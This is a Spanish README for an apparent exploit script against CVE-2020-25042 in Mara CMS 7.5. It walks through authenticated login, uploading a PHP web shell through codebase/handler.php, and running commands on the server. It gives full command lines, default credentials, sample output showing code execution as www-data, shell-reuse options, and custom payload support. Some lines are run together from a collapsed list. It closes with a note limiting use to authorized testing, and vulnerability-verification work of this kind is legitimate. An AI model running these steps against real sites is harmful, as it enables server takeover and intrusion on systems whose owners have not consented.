
PoC para CVE-2020-25042: subida automatizada de PHP autenticada a RCE en Mara CMS 7.5, con manejo de hash de inicio de sesión, reutilización de shell, soporte de payload personalizado y salida CLI limpia.
Prueba de concepto para CVE-2020-25042, un problema de subida arbitraria de archivos autenticada en Mara CMS 7.5 que puede conducir a la ejecución remota de código.
El script inicia sesión con una cuenta válida de administrador/encargado de Mara CMS, sube un payload PHP a través de codebase/handler.php y ejecuta comandos mediante el archivo subido.
También reutiliza una shell existente cuando es posible, para no crear un nuevo archivo PHP en cada ejecución.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd mediante la shell subida.Python 3.8+
pip install -r requirements.txt
Paquetes de Python necesarios:
requests
urllib3
Los valores entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Salida de ejemplo:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
Por defecto, el script usa un nombre de shell estable:
mara-poc.php
En la siguiente ejecución, comprueba:
http://target/cms/img/mara-poc.php
Si la shell responde con el marcador esperado, el script omite el inicio de sesión y la subida:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
Para reutilizar una shell creada con un nombre aleatorio anterior:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
También puedes pasar directamente la ruta de la shell expuesta:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Sube el payload sin ejecutar un comando:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme en instalaciones de prueba sin modificar.MARA_CVE_2020_25042_OK antes de la salida del comando.img/.--force-upload solo cuando necesites sobrescribir o recrear el payload.Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.